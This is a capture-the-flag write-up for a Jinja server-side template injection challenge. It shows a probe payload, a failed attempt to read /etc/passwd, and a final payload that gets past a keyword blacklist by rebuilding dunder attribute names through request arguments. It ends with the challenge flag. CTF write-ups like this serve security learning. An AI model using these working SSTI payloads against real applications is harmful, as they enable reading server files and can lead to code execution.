By looking into the website and parameter we can think it could be some injection.My first thought was to try SSTI(Server side template injection) http://web.euristica.in/hard_to_hack/index?data={{7\*7}} Server returned 49 !! Also,as {{'7'\*7}} works, we can conclude it is Jinja template.
So, I tried injecting payload to read /etc/passwd and check if it works. **payload**: `{{ ''.class.mro[2].subclasses()[40]('/etc/passwd').read() }}`  - FAILS
After trying different characters , i figured out **class,mro,subclasses,_** were all **blacklisted**.
To bypass this, I came up with the following payload:
**Final Working Payload** `{{(((((request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)))|attr(request.args.m|format(request.args.a,request.args.a,request.args.a,request.args.a)))[8])|attr(request.args.k|format(request.args.a,request.args.a,request.args.a,request.args.a))())[40])(%27flag%27).read()}}&f=%s%sclass%s%s&a=_&m=%s%smro%s%s&k=%s%ssubclasses%s%s`.
**Now make a request to read the flag**
`http://web.euristica.in/hard_to_hack/index?data={{(((((request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)))|attr(request.args.m|format(request.args.a,request.args.a,request.args.a,request.args.a)))[8])|attr(request.args.k|format(request.args.a,request.args.a,request.args.a,request.args.a))())[40])(%27flag%27).read()}}&f=%s%sclass%s%s&a=_&m=%s%smro%s%s&k=%s%ssubclasses%s%s`
**FLAG**: `flag{BlackListing_N3Ver_H3lp3d_An40ne}`